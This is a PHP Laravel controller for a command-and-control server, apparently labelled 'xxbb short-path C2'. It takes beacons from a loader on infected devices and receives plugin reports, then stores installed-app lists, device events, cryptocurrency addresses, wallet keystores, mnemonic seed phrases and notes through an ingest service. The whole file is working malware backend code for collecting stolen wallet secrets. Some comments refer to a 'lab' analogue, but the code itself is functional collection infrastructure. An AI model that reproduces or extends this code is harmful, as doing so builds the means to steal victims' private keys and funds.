<?php

namespace App\Http\Controllers\C2;

use App\Http\Controllers\Controller;
use App\Models\PageVisit;
use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Http\Request;
use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;

/**
 * xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
 */
class XxbbC2Controller extends Controller
{
    public function __construct(
        private readonly IngestService $ingest,
    ) {}

    public function vhx(): Response
    {
        return response('ok', 200)->header('Content-Type', 'text/plain');
    }

    /**
     * Loader beacon (plaintext JSON): channelCode + deviceVersion + domain.
     */
    public function iptj(Request $request): Response
    {
        $payload = $request->json()->all();
        if ($payload === []) {
            $decoded = json_decode((string) $request->getContent(), true);
            $payload = is_array($decoded) ? $decoded : [];
        }

        $channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
        $domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
        $deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));

        if ($channelCode !== '' && strlen($channelCode) <= 64) {
            $uid = $domain !== '' ? $domain : (string) $request->ip();
            $uid = substr($uid, 0, 64);
            $debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
            if (Cache::add($debounceKey, 1, now()->addSeconds(8))) {
                $ua = substr((string) $request->userAgent(), 0, 512);
                $parsed = UserAgentParser::parse($ua);
                $osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
                if ($deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
                    $osVersion = $m[1];
                }
                PageVisit::query()->create([
                    'channel_id' => substr($channelCode, 0, 64),
                    'client_uid' => $uid !== '' ? $uid : 'iptj',
                    'user_agent' => $ua !== '' ? $ua : null,
                    'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
                    'os_version' => $osVersion,
                    'browser' => $parsed['browser'],
                    'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
                    'ip' => $request->ip(),
                    'path' => $domain !== '' ? substr($domain, 0, 255) : null,
                    'referer' => $this->referer($request),
                    'created_at' => now(),
                ]);
            }
        }

        return response('{}', 200)->header('Content-Type', 'application/json');
    }

    /** Lab analogue: POST /api/user/avatar/set — device census, no create. */
    public function profile(Request $request): Response
    {
        return $this->xxbbAck($request);
    }

    /** Lab analogue: POST /api/user/get */
    public function apps(Request $request): Response
    {
        $payload = $request->attributes->get('coruna_payload');
        $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
        if ($device && is_array($payload)) {
            $this->ingest->ingestInstalledApps($device, $payload);
        }

        return $this->xxbbAck($request);
    }

    /** Lab analogue: POST /api/user/avatar/put */
    public function event(Request $request): Response
    {
        $payload = $request->attributes->get('coruna_payload');
        $device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null);
        if ($device && is_array($payload)) {
            $this->ingest->ingestDeviceEvent($device, $payload);
        }

        return $this->xxbbAck($request);
    }

    /**
     * Plugin reports: /uj /us /ub /ba /result.
     * Dispatch by payload shape onto the same ingest as lab long paths.
     */
    public function plugin(Request $request): Response
    {
        $payload = $request->attributes->get('coruna_payload');
        $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
        if ($device && is_array($payload)) {
            if (isset($payload['ba']) || isset($payload['ad']) || isset($payload['data'])) {
                $this->ingest->ingestAddresses($device, $payload);
            }
            if (array_key_exists('result', $payload)) {
                $result = $payload['result'];
                $asKeystore = is_array($result);
                if (is_string($result)) {
                    $decoded = json_decode($result, true);
                    $asKeystore = is_array($decoded);
                }
                if ($asKeystore) {
                    $this->ingest->ingestKeystore($device, $payload);
                } else {
                    $this->ingest->ingestMnemonic($device, $payload);
                }
            }
            if (array_key_exists('list', $payload)) {
                $this->ingest->ingestNotes($device, $payload);
            }
        }

        return $this->xxbbAck($request);
    }

    private function referer(Request $request): ?string
    {
        $referer = trim((string) $request->headers->get('referer', ''));
        if ($referer === '') {
            return null;
        }

        return substr($referer, 0, 512);
    }

    private function xxbbAck(Request $request): Response
    {
        $ts = (string) $request->attributes->get('xxbb_ts', '');
        if ($ts === '') {
            $ts = (string) ($request->header('x-ts') ?: '');
        }
        if ($ts === '') {
            $ts = (string) (int) round(microtime(true) * 1000);
        }

        return response($ts.'{}', 200)->header('Content-Type', 'text/plain');
    }
}